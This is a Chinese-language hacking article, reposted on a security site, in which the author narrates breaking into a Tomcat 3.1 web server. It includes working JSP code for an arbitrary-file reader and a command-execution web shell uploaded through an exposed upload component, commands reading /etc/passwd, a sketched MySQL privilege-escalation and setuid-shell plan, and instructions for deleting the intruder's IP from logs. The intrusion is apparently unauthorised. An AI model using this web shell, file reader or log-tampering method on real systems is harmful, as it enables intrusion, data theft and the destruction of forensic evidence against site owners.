网络安全参考 | UNIX参考 | GPS参考 | 无线参考 | 在线手册 | OSBUG.ORG | SUNNY-NETWORK.COM
网站地图 RSS订阅
高级搜索 收藏本站
Home | 业界动态 | 防火墙 | IDS/IPS | VPN | PKI | Honeypot | Hacker/Intruder | 黑客技术 | 破解技术 | 加密技术 | 病毒防护 | 木马 | 反垃圾邮件 | 反流氓软件 | 漏洞 | 无线安全 | UNIX | Windows | 安全编程 | 安全软件 | TPM/TCG | 数据恢复 | 企业信息安全 | 个人信息安全
 当前位置: Home > 黑客技术 > 文章  
黑客的攻击:WEB入侵的过程
文章来源: 赛迪网技术社区 文章作者: lvvl 发布时间: 2006-09-15   字体: [ ]
 

  很偶然的一个机会,看到了一个网站,页面清新,很舒服的感觉。网站是用JSP开发的,由于个人爱好,所以我决定看看系统的安全性。

telnet www.target.com 8080 
GET /CHINANSL HTTP/1.1 
[Enter] 
[Enter] 
返回的结果如下: 
HTTP/1.0 404 Not Found 
Date: Sun, 08 Jul 2001 07:49:13 GMT 
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2 
.2.12 i386; java.vendor=Blackdown Java-Linux Team) 
Content-Language: en 
Content-Type: text/html 
Status: 404 

<h1>Error: 404</h1> 
<h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL

  我获得了运行的WEBServer的名称"Tomcat 3.1"。我记得我曾经发现过这个版本的漏洞,并且post到bugtrap上去过。大概是:通过".."技术可以退出WEB目录,于是:

http://target:8080/../../../../%00.jsp (不行) 
http://target:8080/file/index.jsp (不行) 
http://target:8080/index.JSP (不行) 
http://target:8080/index.jsp%81 (不行) 
http://target:8080/index.js%70 (不行) 
http://target:8080/index.jsp%2581 (不行) 
http://target:8080/WEB-INF/ (不行)

  嗯,在试试吧!Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context.试一下:http://target:8080/admin/ ,管理员果然没有删除或禁止访问这个目录。接着我点"VIEW ALL CONTEXT"按钮,列出了WEB目录下的一些文件和目录的名称,我开始仔细的看了起来,一小会儿,发现了一个上传文件的组件,嘿嘿,写一个jsp文件弄上去看看。几口咖啡的时间,我写了这么一个东东出来:

<%@ page import="java.io.*" %> 
<% 
String file = request.getParameter("file"); 
String str = ""; 
FileInputStream fis = null; 
DataInputStream dis = null; 
try{ 
fis = new FileInputStream(file); 
dis = new DataInputStream(fis); 
while(true){ 
try{ 
str = dis.readLine(); 
}catch(Exception e){} 
if(str == null)break; 
out.print(str+"<br>"); 
} 
}catch(IOException e){} 
%>

  通过上传的组件将这个jsp上传到对方的WEB目录里,然后:

  http://target:8080/upload/test.jsp?file=/etc/passwd

  嘿嘿,密码出来啦。我只看了"/etc/passwd",并没有看 "/etc/shadow",因为当时考虑webserver一般使用nobody的身份启动的,看了也白看。(失误)接下来的过程是无聊的猜测密码,没有成功。算了,那我只有将就点,反正现在我相当于有了一个shell了嘛,猜不出密码上去,那就全当IE是我的SHELL环境吧!

  再写:

<%@ page import="java.io.*" %> 
<% 
try { 
String cmd = request.getParameter("cmd"); 
Process child = Runtime.getRuntime().exec(cmd); 
InputStream in = child.getInputStream(); 
int c; 
while ((c = in.read()) != -1) { 
out.print((char)c); 
} 
in.close(); 
try { 
child.waitFor(); 
} catch (InterruptedException e) { 
e.printStackTrace(); 
} 
} catch (IOException e) { 
System.err.println(e); 
} 
%>

  然后把这个jsp又通过upload上传了上去,嘿嘿,我现在有个SHELL了。

http://target:8080/upload/cmd.jsp?cmd=ls+-la+/

  (我这里就不列出来了)

  怎么获得root呢?经过一番搜索我发现了系统安装了mysql并且我从jsp的源代码中得到了mysql的密码:)看看是什么权限运行的mysql:

sqld">http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld

  显示:

root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql

  嘿嘿,有办法了,系统是以root身份运行的mysql,同时我知道了mysql的密码,那我现在我可以写一个shell程序,让它create一个表,然后将我的数据放到表中,然后再使用"select ... into outfile;"的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。(还记得apache.org有一次被入侵吗?hacker就采用的这种办法)。

  然后,我再上传bindshell之类的程序,运行、获得nobody的权限,然后......再使用su root时帮忙创建的setuid shell让自己成为root.嘿嘿,真是好办法,我都为我的想法感到得意......

  接下去的事情,差点没让我吐血:

  我敲了一个:http://target:8080/upload/cmd.jsp?cmd=id

  显示:

uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)

  我的这个WEB SHELL本来就是ROOT,真是服了那个管理员,也服了自己。竟然折腾了这么半天,哎!

http://target:8080/upload/cmd.jsp?cmd=ps+aux

  果然是root身份运行的(不列出来了)

  剩下来的事情:

  1、删除我的telnet记录。
  2、删除http的日志。

  至于清除日志嘛,我使用的办法是:cat xxx |grep -V "IP" >>temp然后在把temp覆盖那些被我修改过的日志文件。

  我没有更换他的页面,因为我本身也就不是什么黑客啦,更不是红客,只是个网络安全爱好者而已。所以,发封邮件告诉system admin吧!

--
原文链接: http://security.ccidnet.com/art/1101/20060913/898813_1.html

 
推荐文章
·骇客学堂:灰鸽子VIP2006终极免
·黑客攻破SQL服务器系统的十种方
·Web环境下SQL注入攻击的检测与防
·黑客经典教程之理解地址解析协议
·黑客经典教程之缓冲区溢出解密(
·黑客经典教程之缓冲区溢出解密(
·黑客基础内容:21种RING的提权方
·网络孙子兵法!黑客攻防也有三十
·黑客攻击常见方法及安全策略制订
·黑客技巧 使用Google黑掉Windows
 
 
↑返回顶部   打印本页   关闭窗口↓  

Google
 
Web oldhand.org unixreference.net meshmea.org
热点文章
·黑客基础内容 DOS常见命
·攻防秘技:彻底防范网络
·黑客教程:黑客入侵个人
·很多人的Hack经历第一次
·黑客基础内容 IPC$空连
·黑客经典教程之理解地址
·黑客技巧 使用Google黑
·黑客攻击常见方法及安全
相关分类
相关文章
·黑客攻破SQL服务器系统
·骇客学堂:跨站攻击偷取
·Web环境下SQL注入攻击的
·黑客技术:入侵时隐藏自
·黑客经典教程之理解地址
·黑客经典教程之缓冲区溢
·黑客经典教程之缓冲区溢
·菜鸟都学会 十三步简单
更多...
 
 

Copyright(c) 2001-2008 OLDHAND ORGANIZATION, All Rights reserved.
Power by DedeCms 织梦内容管理系统
$Id: article_article.html,v 1.3 2007/02/10 12:00:37 yjs Exp $